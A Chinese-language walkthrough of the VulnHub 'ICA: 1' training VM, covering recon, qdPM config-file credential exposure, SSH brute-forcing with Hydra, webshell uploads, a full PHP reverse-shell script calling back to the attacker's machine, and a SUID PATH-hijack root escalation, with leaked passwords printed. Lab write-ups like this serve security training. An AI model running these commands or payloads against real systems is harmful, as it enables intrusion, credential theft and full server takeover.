简介

  • 名称:ICA: 1

  • 发布日期:2021 年 9 月 25 日

  • 难度:容易

  • 描述:根据我们情报网络的信息,ICA 正在开展一个秘密项目。我们需要弄清楚这个项目是什么。获得访问信息后,请将其发送给我们。我们稍后会放置一个后门来访问系统。您只需关注项目是什么。您可能必须通过几层安全性。原子能机构对您将成功完成这项任务充满信心。祝你好运,代理!

  • 下载地址https://www.vulnhub.com/entry/ica-1,748/

  • kali攻击机ip:192.168.1.4

  • 靶机地址:192.168.1.32

一、信息收集

1.使用arp-scan对靶机IP进行扫描

2.使用nmap对目标靶机进行端口扫描

nmap -p 1-65535 192.168.1.32

开放了22,80,3306,33060

3.使用dirsearch对目标靶机进行目录扫描

dirsearch -u http://192.168.1.32/

[11:09:37] 301 -  309B  - /js  ->  http://192.168.1.32/js/
[11:10:27] 200 - 406B - /backups/
[11:10:27] 301 - 314B - /backups -> http://192.168.1.32/backups/
[11:10:33] 200 - 0B - /check.php
[11:10:39] 301 - 311B - /core -> http://192.168.1.32/core/
[11:10:40] 301 - 310B - /css -> http://192.168.1.32/css/
[11:10:49] 200 - 894B - /favicon.ico
[11:10:56] 301 - 313B - /images -> http://192.168.1.32/images/
[11:10:56] 200 - 639B - /images/
[11:10:57] 200 - 2KB - /index.php
[11:10:58] 301 - 314B - /install -> http://192.168.1.32/install/
[11:10:59] 200 - 764B - /install/index.php?upgrade/
[11:10:59] 200 - 764B - /install/
[11:11:00] 301 - 317B - /javascript -> http://192.168.1.32/javascript/
[11:11:01] 200 - 576B - /js/
[11:11:10] 200 - 208B - /manual/index.html
[11:11:10] 301 - 313B - /manual -> http://192.168.1.32/manual/
[11:11:37] 200 - 338B - /readme.txt
[11:11:39] 200 - 26B - /robots.txt
[11:11:58] 200 - 487B - /template/
[11:12:04] 200 - 471B - /uploads/

apache

index of

网站安装目录

二、历史漏洞利用

1.使用searchsploit查找qdPM框架历史漏洞

qdPM 9.2 - Cross-site Request Forgery (CSRF)

跨站请求伪造(CSRF)

在CSRF攻击中,攻击者通常构建一个恶意的URL,这个URL内嵌了一个请求,当受害者点击时,他们的浏览器会自动包含任何相关的cookies或认证信息,并将请求发送到目标网站。例如,攻击者可以创建一个链接,当用户点击后,会向qdPM服务器发送一个修改密码的请求,如果用户当时已经登录了qdPM,那么这个请求就会以用户的身份被执行,从而导致密码被更改。

qdPM 9.2 - Password Exposure (Unauthenticated)

密码暴露(未认证访问)

如果存在未认证的密码暴露漏洞,攻击者可能无需认证就能访问存储在数据库中的密码或通过网络传输的密码。这可能是因为qdPM以明文形式存储密码,或者在传输过程中没有使用加密,使得中间人(MITM)攻击成为可能,攻击者能够截获并阅读密码数据。

使用find,cat命令查看历史漏洞利用信息

漏洞详情

漏洞说明

qdPM 9.2中数据库的连接字符串和密码被存储在一个YAML文件中。通常,这种敏感信息应当被严格保护,但在该版本中,可以通过直接访问http://<website>/core/config/databases.yml来下载并查看此文件的内容。这意味着任何人都可以在不知道任何认证凭据的情况下访问和下载包含数据库连接详细信息的配置文件。

wget http://192.168.11.177/core/config/databases.yml 下载yml文件

username: qdpmadmin

password: UcVQCMQk2STVeS6J

2.Navicat连接mysql数据库

mysql数据库+qdpm网站数据库+staff员工数据库

staff表

员工SSH登录账号

员工SSH登录密码

密码base64解码

Smith

suRJAdGwLp8dy3rF

Lucas

7ZwV4qtg42cmUXGX

Travis

X7MQkP3W29fewHdC

Dexter

DJceVy98W28Y7wLg

Meyer

cqNnBWCByS2DuJSy

通过staff的数据对ssh进行爆破——使用Hydra

hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

这里一定要注意将账号全部改小写,将账号、密码分别保存到两个文件

多线程分析命令

hydra -L /home/kali/桌面/user -P /home/kali/桌面/passwd -t 2 -vV -e ns 192.168.1.32 ssh

login: travis password: DJceVy98W28Y7wLg

login: dexter password: 7ZwV4qtg42cmUXGX

xftp连接——travis有一个flag,dexter有一个文件

ICA{Secret_Project}

存在一个note文件,内容如下

qdpm表

打开configuration表可以看到网站登录的账号密码,密码加密,无法直接登录。

要清楚加密方式,才可以解密

加密识别

方法1:这个网站密码加密方式未知,可以下载网站源码,放notepad找加密文件,了解对应的加密方式,具体流程可以参考服务器取证的题目。

方法2:网上查了一下,qdpm现在使用的是一种叫phpass的加密技术,也叫做wordpress(MD5)

  • 谈谈常见的加密和哈希值表示法:
    
    - "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
    
    - "{MD5}" 表示该字符串是 MD5 哈希值。
    
    - "{SHA1}" 表示该字符串是 SHA-1 哈希值。 
    
    - "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
    
    - "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
    
    - "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
    
    - "$5$" 表示经过 SHA-256 加密的密码哈希。
    
    - "$6$" 表示经过 SHA-512 加密的密码哈希。

方法3:也可以用在线识别网站判断加密方式——https://hashes.com/en/tools/hash_identifier

方法4:也可以使用hash-identifie:https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master

hash-identifie是一个非常容易使用的 Python 工具,当你输入一个哈希值时,它会告诉你这个哈希值最有可能是什么哈希类型,将一系列哈希类型按可能性进行降序排列。

你可以使用以下方法从 gitlab 中提取hash-identifie的python 文件进行工具安装:

wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py

密码破解

在kali自带的John the Ripper工具里支持对phpass加密密码的破解

John the Ripper支持7种哈希类型密码破解,分别是bcrypt、descrypt 、sha512crypt、Drupal7、sha256crypt、md5cryp 与 phpass

我们把密码拷贝出来,存在攻击机的一个文件里

使用john尝试破解:john 文件路径 --wordlist=/usr/share/wordlists/rockyou.txt

不过我电脑都快跑冒烟了都没解出来

只能重新设置密码,加密后覆盖原密码

另外也可以用python调用phpass进行解密

from passlib.hash import phpass

\# 加密

password = "ABCDEF"

hashed_password = phpass.hash(password)

print(hashed_password)

\# 验证

if phpass.verify(password, hashed_password):

  print("Password matched")

else:

  print("Password did not match")

http://web.chacuo.net/safewordpress

这个网站也可以生成

密码:$P$BFHXrjZhxiaw7s1qSMm2xePeFsvz5L.

admin@localhost.com/123456 登录成功

三、文件上传

继续拿权限——添加用户,尝试上传php文件和图片文件的一句话木马,但是网站有过滤

添加一个自己的账号,给予管理员权限

用增加的用户登录

项目——新建项目——添加附件——上传木马

方法一:weevely

weevely生成php木马

weevely generate 密码 ./木马名称.php

上传网站

文件上传路径可以通过前面信息收集到的目录查找到——Index of

http://192.168.1.32/uploads/attachments/

方法二:蚁剑连接一句话木马

后面发现不管哪个地方上传都是在/uploads/attachments/目录下

这里是通过添加备注上传一句话木马,蚁剑连接即可

方法三:反弹shell,nc监听

利用文件上传漏洞进行反弹shell是一种常见的渗透测试技术,主要用于在目标服务器上获得一个交互式的shell。以下是在Kali Linux中,通过上传PHP文件来实现反弹shell的步骤:

前提条件

  • Kali Linux
  • 网络访问至目标服务器
  • 已经发现并验证了目标服务器的文件上传漏洞

步骤

  1. 准备反弹shell的PHP代码

    创建一个PHP文件,该文件将在被访问时尝试与你的Kali机器建立TCP连接。你可以使用以下代码模板(将YOUR_IP替换为你的Kali Linux的IP地址,将YOUR_PORT替换为你选择的监听端口):

    <?php
    $ip = 'YOUR_IP';
    $port = YOUR_PORT;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i'; $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    $msg = "Now exiting...\n";
    echo $msg;
    exit;
    } fwrite($sock, "$shell\n"); while (!feof($sock)) {
    if (feof($write_a)) {
    fwrite($sock, "\n");
    continue;
    }
    $read_a = fread($sock, $chunk_size);
    if (strlen($read_a) == 0) {
    break;
    }
    fwrite($write_a, $read_a);
    } fclose($write_a);
    fclose($read_a);
    fclose($error_a);
    ?>

    将这个代码保存为一个.php文件,例如revshell.php

  2. 设置监听端口

    在Kali Linux上,使用nc(netcat)或ncat(nmap的扩展)命令来监听指定的端口。例如,监听4444端口:

    nc -lvnp 4444

    或者使用ncat

    ncat -lvnp 4444
  3. 上传PHP文件

    使用已知的文件上传漏洞将revshell.php上传到目标服务器的web可访问目录中。这通常通过Web应用程序的文件上传功能完成,具体方法取决于目标应用的上传机制。

  4. 触发反弹shell

    通过访问你上传的PHP文件的URL来触发反弹shell。例如,如果文件上传到了http://target-server/path/to/uploadedfile.php,就在浏览器中访问该URL或通过curl访问:

    curl http://target-server/path/to/uploadedfile.php
  5. 接收shell

    在Kali Linux上,你应该能看到一个shell出现在ncncat的监听端口中。现在,你就可以与目标服务器进行交互了。

升级会话

使用python -c 'import pty; pty.spawn("/bin/bash")'升级会话

这个命令在Python中启动一个交互式的bash shell会话,其中使用了Python的pty模块。

这种技术常被用于远程控制场景,例如在SSH连接中,或者在自动化脚本中需要模拟用户交互的场景。此外,它也被黑客用于在成功获得初步权限后,提升为更完整的shell访问,尤其是在渗透测试或红队活动中。

四、提权

这里建议使用反弹shell连接,上面的方法1,2均为webshell,权限较低,无法执行更改命令

find / -perm -u=s 2>&1 | grep -v "Permission denied"

这条命令的目的是列出系统中所有设置了Set-UID权限的文件,同时排除了因权限不足而产生的错误信息。这在系统管理、安全审计或查找潜在的安全漏洞时非常有用

1.找到可疑文件get_access

strings /opt/get_access

尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

2.更改环境变量

执行get_access提权

cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
/opt/get_access

3.找到Flag

root@debian:/root# ls

ls

root.txt system.info

root@debian:/root# more root.txt

more root.txt

ICA{Next_Generation_Self_Renewable_Genetics}

root@debian:/# cd /home

cd /home

root@debian:/home# ls

ls

dexter travis

root@debian:/home# cd travis

cd travis

root@debian:/home/travis# ls

ls

user.txt

root@debian:/home/travis# more user.txt

more user.txt

ICA{Secret_Project}ICA

三个flag已找到

总结

1.这次靶场先从信息收集入手,获取网站端口,目录等信息

2.对80网站利用框架漏洞进行渗透,获取Mysql数据库账密,再通过3306端口连接数据库,得到网站和SSH连接的账号密码,再通过密码爆破和密码MD5解密成功连上SSH和登录网站,找到一个flag

3.网站上传了三种木马,最后反弹shell到攻击机上执行命令

4.通过SSH的文件提示知道提权文件的利用方式,即ICA提权,获取了root权限,找到了最后的两个flag

Vulnhub-ICA01的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  3. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  4. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  5. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  6. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  7. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  8. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  9. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

  10. Dc:7 Vulnhub Walkthrough

    靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...

随机推荐

  1. C语言:算法题判断是否有效字符({[]})---括号

    给定一个只包括 '(',')','{','}','[',']'的字符串 s ,判断字符串是否有效. 有效字符串需满足:                  左括号必须用相同类型的右括号闭合.       ...

  2. 服务器电源管理(Power Management States)

    目录 文章目录 目录 EIST(智能降频技术) 硬件 固件 操作系统 EIST(智能降频技术) EIST 能够根据不同的 OS(操作系统)工作量自动调节 CPU 的电压和频率,以减少耗电量和发热量.它 ...

  3. pageoffice6 版本在线打开文件弹出网页对话框

    用户在使用PageOffice在线编辑文档的操作过程中,如果遇到一些复杂的编辑需求,可能会需要弹出一个新的对话框,做相应的处理,可能是设置一些格式,就如同Office设置字体.段落等各种对话框,也可能 ...

  4. (二)Redis 数据类型与结构

    1.值的数据类型 Redis "快"取决于两方面,一方面,它是内存数据库,另一方面,则是高效的数据结构.Redis 键值对中值的数据类型,也就是数据的保存形式有5种:String( ...

  5. handsontable多选下拉框编辑器扩展

    一.效果截图 二.文件引用 多选下拉框扩展自handsontable的BaseEditor. 多选下拉框组件由两个文件构成, 一个下拉框样式表MultiSelect.css 一个组件实现脚本Multi ...

  6. rbenv:Ruby 多版本管理利器

    在 Ruby 开发的世界中,经常需要面对不同项目使用不同 Ruby 版本的情况.这时,一个高效.灵活且易于使用的 Ruby 版本管理工具就显得尤为重要. rbenv 正是这样一个工具,它允许开发者在同 ...

  7. 【终极指南】使用Python可视化分析文本情感倾向

    本文分享自华为云社区<Python理解文本情感倾向的终极指南>,作者: 柠檬味拥抱. 情感分析是一种通过自然语言处理技术来识别.提取和量化文本中的情感倾向的方法.Python在这一领域有着 ...

  8. nginx基础安装使用和负载均衡高可用,日志切割配置

    1. Nginx简介 Nginx [engine x]是HTTP和反向代理服务器,邮件代理服务器和通用TCP / UDP代理服务器,最初由Igor Sysoev编写.很长一段时间以来,它已经在许多重负 ...

  9. Java 中 hashCode 和 equals 方法是什么?它们和 == 各有什么区别?

    在 Java 中,hashCode 和 equals 方法都是 Object 类的方法.它们的作用分别如下: hashCode 方法返回对象的哈希码,用于支持基于哈希表的集合,如 HashMap.Ha ...

  10. 数据库系列16:MyISAM与InnoDB的索引对比

    相关文章 数据库系列:MySQL慢查询分析和性能优化 数据库系列:MySQL索引优化总结(综合版) 数据库系列:高并发下的数据字段变更 数据库系列:覆盖索引和规避回表 数据库系列:数据库高可用及无损扩 ...